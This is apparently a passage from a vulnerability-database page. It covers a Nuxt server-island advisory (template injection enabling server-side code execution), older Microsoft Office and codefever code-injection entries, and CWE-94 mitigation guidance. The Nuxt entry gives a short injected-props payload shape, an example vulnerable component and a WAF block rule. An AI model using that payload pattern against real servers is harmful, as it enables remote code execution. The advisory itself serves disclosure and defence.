Nuxt >=3.4.0 <3.21.10 and >=4.0.0 <4.5.1, and only when vue.runtimeCompiler: true and component islands are active. Earlier versions did not allow the Vue compiler to be enabled in the server bundle (the compiler dependencies have been mock-aliased on the server since v3.0.0-rc.1), so the runtime-compilation path is not reachable. Nuxt 2 is not affected (no server islands).
Patches
When vue.runtimeCompiler is enabled, island requests whose decoded props contain a template key at any depth are rejected with an HTTP 400 and a diagnostic suggesting the author rename the prop or disable the runtime compiler. The guard is gated on the runtime compiler being enabled, so the default configuration (compiler off) is unaffected and legitimate props that merely contain a template field (for example CMS content) continue to render. A render key is not rejected: island props arrive as JSON, so a render value can only be an inert string, which Vue ignores.
Fixed in nuxt@4.5.1 and backported to nuxt@3.21.10.
Workarounds
Upgrade to nuxt@4.5.1 or nuxt@3.21.10. If you cannot immediately upgrade, you can mitigate by:
- Ensure
vue.runtimeCompileris set tofalse(the default). - Do not forward island props into
<component :is>,resolveDynamicComponent, orh()without sanitization. - As a defense-in-depth measure, deploy a WAF rule on
/__nuxt_island/that URL-decodes and JSON-parses thepropsvalue and blocks any object property namedtemplateorrenderin the decoded island props, inspecting both query and body for all methods. Note: this only covers direct and browser-originated island requests; initial-SSR internal island renders do not transit the edge and a WAF alone does not close the vector.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "nuxt"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.5.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "nuxt"
},
"ranges": [
{
"events": [
{
"introduced": "3.4.0"
},
{
"fixed": "3.21.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-71320"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-05T21:29:55Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Impact\n\nNuxt server islands accept props via the `/__nuxt_island/` endpoint. When `vue.runtimeCompiler: true` is enabled (off by default) and the application has a server island component that forwards props into Vue\u0027s dynamic component resolution (`\u003ccomponent :is\u003e`, `resolveDynamicComponent`, or `h()`), an attacker can inject a `template` key into the island props to achieve server-side remote code execution in the Nitro process.\n\n```json\n{ \"as\": { \"template\": \"\u003cattacker-controlled\u003e\" } }\n```\n\nVue\u0027s runtime template compiler compiles and executes the attacker-controlled `template` in the server process. The same primitive also works on the client side when the runtime compiler is active there, though the server-side path is the primary concern.\n\nSome component libraries expose a polymorphic `as` / `asChild` prop that forwards its value into `\u003ccomponent :is\u003e`; `@nuxt/ui` (via `reka-ui`) is a widely used example. An application is affected if such a component receives the attacker-controlled value, provided `vue.runtimeCompiler` is also enabled. Note this does not require the island author to explicitly forward a prop: island props that the island component does not declare fall through as attributes onto its single root element (standard Vue attribute inheritance), so an island whose root is a polymorphic component receives the attacker\u0027s `as` value implicitly. These libraries are not themselves vulnerable; they are noted only because they commonly provide the dynamic-component sink.\n\n## Common configurations that satisfy the preconditions\n\nThe flaw is in Nuxt core. The library below is not itself vulnerable; it is noted because it commonly provides the dynamic-component sink an application might inadvertently expose.\n\n- **`@nuxt/ui`** (via its underlying **`reka-ui`** primitives) exposes a polymorphic `as` / `asChild` prop that is forwarded into Vue\u0027s dynamic-component resolution. Installing `@nuxt/ui` does not by itself register any component as a server island. Exploitation requires the application to define an island component (a `.server.vue` file) whose rendered output puts the attacker-controlled value on such a component\u0027s `as` / `asChild` prop; with `vue.runtimeCompiler: true`, the attacker-controlled `template` is then compiled and executed. Because undeclared island props fall through as attributes to the single root, this can happen without any explicit binding: an island whose root is a `reka-ui` / `@nuxt/ui` component is enough. An example vulnerable island (the `as` value falls through to `UButton`, no explicit forwarding needed):\n\n ```vue\n \u003c!-- components/MyWidget.server.vue --\u003e\n \u003ctemplate\u003e\n \u003cUButton\u003eSave\u003c/UButton\u003e\n \u003c/template\u003e\n ```\n\nThe island URL hash (`/__nuxt_island/\u003cName\u003e_\u003chash\u003e.json`) is a deterministic (unsalted) content hash, not an authentication token. It provides integrity relative to the URL but is not a security boundary: an attacker who knows the component name and desired props can compute a valid hash.\n\n## Mitigating factors\n\n- `vue.runtimeCompiler` is **off by default** in Nuxt. The vast majority of Nuxt applications are not affected.\n- Exploitation requires a **second precondition**: the application must have a server island component that puts an attacker-controlled value onto a dynamic-component path (`\u003ccomponent :is\u003e`, `resolveDynamicComponent`, `h()`, or a polymorphic `as` / `asChild` prop). This can occur explicitly or via attribute fallthrough when the island\u0027s root is such a component.\n- SSG / static deployments are largely unreachable via this vector (no server process to exploit).\n- Island component names are constrained to the build-time component registry; an attacker cannot resolve arbitrary components.\n\n## Affected versions\n\nNuxt `\u003e=3.4.0 \u003c3.21.10` and `\u003e=4.0.0 \u003c4.5.1`, and only when `vue.runtimeCompiler: true` and component islands are active. Earlier versions did not allow the Vue compiler to be enabled in the server bundle (the compiler dependencies have been mock-aliased on the server since v3.0.0-rc.1), so the runtime-compilation path is not reachable. Nuxt 2 is not affected (no server islands).\n\n## Patches\n\nWhen `vue.runtimeCompiler` is enabled, island requests whose decoded props contain a `template` key at any depth are rejected with an HTTP 400 and a diagnostic suggesting the author rename the prop or disable the runtime compiler. The guard is gated on the runtime compiler being enabled, so the default configuration (compiler off) is unaffected and legitimate props that merely contain a `template` field (for example CMS content) continue to render. A `render` key is not rejected: island props arrive as JSON, so a `render` value can only be an inert string, which Vue ignores.\n\nFixed in `nuxt@4.5.1` and backported to `nuxt@3.21.10`.\n\n## Workarounds\n\nUpgrade to `nuxt@4.5.1` or `nuxt@3.21.10`. If you cannot immediately upgrade, you can mitigate by:\n\n1. Ensure `vue.runtimeCompiler` is set to `false` (the default).\n2. Do not forward island props into `\u003ccomponent :is\u003e`, `resolveDynamicComponent`, or `h()` without sanitization.\n3. As a defense-in-depth measure, deploy a WAF rule on `/__nuxt_island/` that URL-decodes and JSON-parses the `props` value and blocks any object property named `template` or `render` in the decoded island props, inspecting both query and body for all methods. Note: this only covers direct and browser-originated island requests; initial-SSR internal island renders do not transit the edge and a WAF alone does not close the vector.",
"id": "GHSA-9473-5f9j-94wq",
"modified": "2026-08-05T21:29:55Z",
"published": "2026-08-05T21:29:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nuxt/nuxt/security/advisories/GHSA-9473-5f9j-94wq"
},
{
"type": "WEB",
"url": "https://github.com/nuxt/nuxt/commit/5b60017f7f1d5e9384cadf1d6c580b99d583c418"
},
{
"type": "WEB",
"url": "https://github.com/nuxt/nuxt/commit/ee6c846338f4eb75801815dda86df1f494725859"
},
{
"type": "PACKAGE",
"url": "https://github.com/nuxt/nuxt"
},
{
"type": "WEB",
"url": "https://github.com/nuxt/nuxt/releases/tag/v3.21.10"
},
{
"type": "WEB",
"url": "https://github.com/nuxt/nuxt/releases/tag/v4.5.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Nuxt: Server-Side Remote Code Execution via Runtime Template Injection in Nuxt Server Island Props"
}
GHSA-94CJ-9F3F-7Q8J
Vulnerability from github – Published: 2022-05-01 06:50 – Updated: 2022-05-01 06:50MSO.DLL in Microsoft Office 2000, Office XP (2002), and Office 2003 allows user-assisted attackers to cause a denial of service and execute arbitrary code via multiple attack vectors, as originally demonstrated using a crafted document record with a malformed string, as demonstrated by replacing a certain "01 00 00 00" byte sequence with an "FF FF FF FF" byte sequence, possibly causing an invalid array index, in (1) an Excel .xls document, which triggers an access violation in ole32.dll; (2) an Excel .xlw document, which triggers an access violation in excel.exe; (3) a Word document, which triggers an access violation in mso.dll in winword.exe; and (4) a PowerPoint document, which triggers an access violation in powerpnt.txt. NOTE: after the initial disclosure, this issue was demonstrated by triggering an integer overflow using an inconsistent size for a Unicode "Sheet Name" string.
{
"affected": [],
"aliases": [
"CVE-2006-1540"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2006-03-30T11:02:00Z",
"severity": "HIGH"
},
"details": "MSO.DLL in Microsoft Office 2000, Office XP (2002), and Office 2003 allows user-assisted attackers to cause a denial of service and execute arbitrary code via multiple attack vectors, as originally demonstrated using a crafted document record with a malformed string, as demonstrated by replacing a certain \"01 00 00 00\" byte sequence with an \"FF FF FF FF\" byte sequence, possibly causing an invalid array index, in (1) an Excel .xls document, which triggers an access violation in ole32.dll; (2) an Excel .xlw document, which triggers an access violation in excel.exe; (3) a Word document, which triggers an access violation in mso.dll in winword.exe; and (4) a PowerPoint document, which triggers an access violation in powerpnt.txt. NOTE: after the initial disclosure, this issue was demonstrated by triggering an integer overflow using an inconsistent size for a Unicode \"Sheet Name\" string.",
"id": "GHSA-94cj-9f3f-7q8j",
"modified": "2022-05-01T06:50:42Z",
"published": "2022-05-01T06:50:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2006-1540"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2006/ms06-038"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/27607"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/27609"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A639"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/1615"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/21012"
},
{
"type": "WEB",
"url": "http://securitytracker.com/id?1015855"
},
{
"type": "WEB",
"url": "http://www.kb.cert.org/vuls/id/609868"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/27150"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/439697/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/17252"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/18889"
},
{
"type": "WEB",
"url": "http://www.us-cert.gov/cas/techalerts/TA06-192A.html"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2006/2756"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-94G5-G8CC-MWFW
Vulnerability from github – Published: 2023-04-07 03:30 – Updated: 2023-04-13 18:30codefever before 2023.2.7-commit-b1c2e7f was discovered to contain a remote code execution (RCE) vulnerability via the component /controllers/api/user.php.
{
"affected": [],
"aliases": [
"CVE-2023-26817"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-07T03:15:00Z",
"severity": "HIGH"
},
"details": "codefever before 2023.2.7-commit-b1c2e7f was discovered to contain a remote code execution (RCE) vulnerability via the component /controllers/api/user.php.",
"id": "GHSA-94g5-g8cc-mwfw",
"modified": "2023-04-13T18:30:29Z",
"published": "2023-04-07T03:30:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26817"
},
{
"type": "WEB",
"url": "https://github.com/PGYER/codefever/issues/140"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.